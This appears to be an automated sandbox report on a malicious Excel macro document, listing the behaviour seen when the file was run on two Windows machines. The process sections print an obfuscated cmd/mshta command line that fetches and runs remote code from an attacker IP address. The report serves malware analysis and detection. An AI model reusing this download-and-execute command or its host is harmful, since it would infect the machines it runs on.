Malware Analysis Report

2025-01-22 16:07

Sample ID 241110-wst83asarl
Target 343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573
SHA256 343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573

Threat Level: Known bad

The file 343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Enumerates system info in registry

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-10 18:11

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-10 18:11

Reported

2024-11-10 18:14

Platform

win7-20240903-en

Max time kernel

118s

Max time network

124s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\SysWOW64\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1388-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1388-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

memory/1388-2-0x00000000725ED000-0x00000000725F8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-10 18:11

Reported

2024-11-10 18:14

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

138s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3672 wrote to memory of 2344 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3672 wrote to memory of 2344 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2344 wrote to memory of 4040 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 2344 wrote to memory of 4040 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\system32\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 214.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/3672-1-0x00007FFE2EDCD000-0x00007FFE2EDCE000-memory.dmp

memory/3672-2-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

memory/3672-3-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

memory/3672-4-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

memory/3672-0-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

memory/3672-5-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-6-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-8-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

memory/3672-7-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-9-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-10-0x00007FFDECD50000-0x00007FFDECD60000-memory.dmp

memory/3672-12-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-11-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-13-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-14-0x00007FFDECD50000-0x00007FFDECD60000-memory.dmp

memory/3672-16-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-15-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-27-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

memory/3672-28-0x00007FFE2EDCD000-0x00007FFE2EDCE000-memory.dmp

memory/3672-29-0x00007FFE2ED30000-0x00007FFE2EF25000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 3a301c02c32ec9e36d7cc7273c4cc811
SHA1 d9b287b51767985c45fe5b585f4d1b753d6c9a49
SHA256 59e5fd4645761d0a55fc944b72e752abdc1717102f442df04a5bc38cad3d2c32
SHA512 d36101c590d319b69b12b3567f7a66de78df4af170c57138a4b4aa93efa3f00ad6700c5ddc647a135f0beecd38b2ef801d73e08d1520876cacda3675d6877123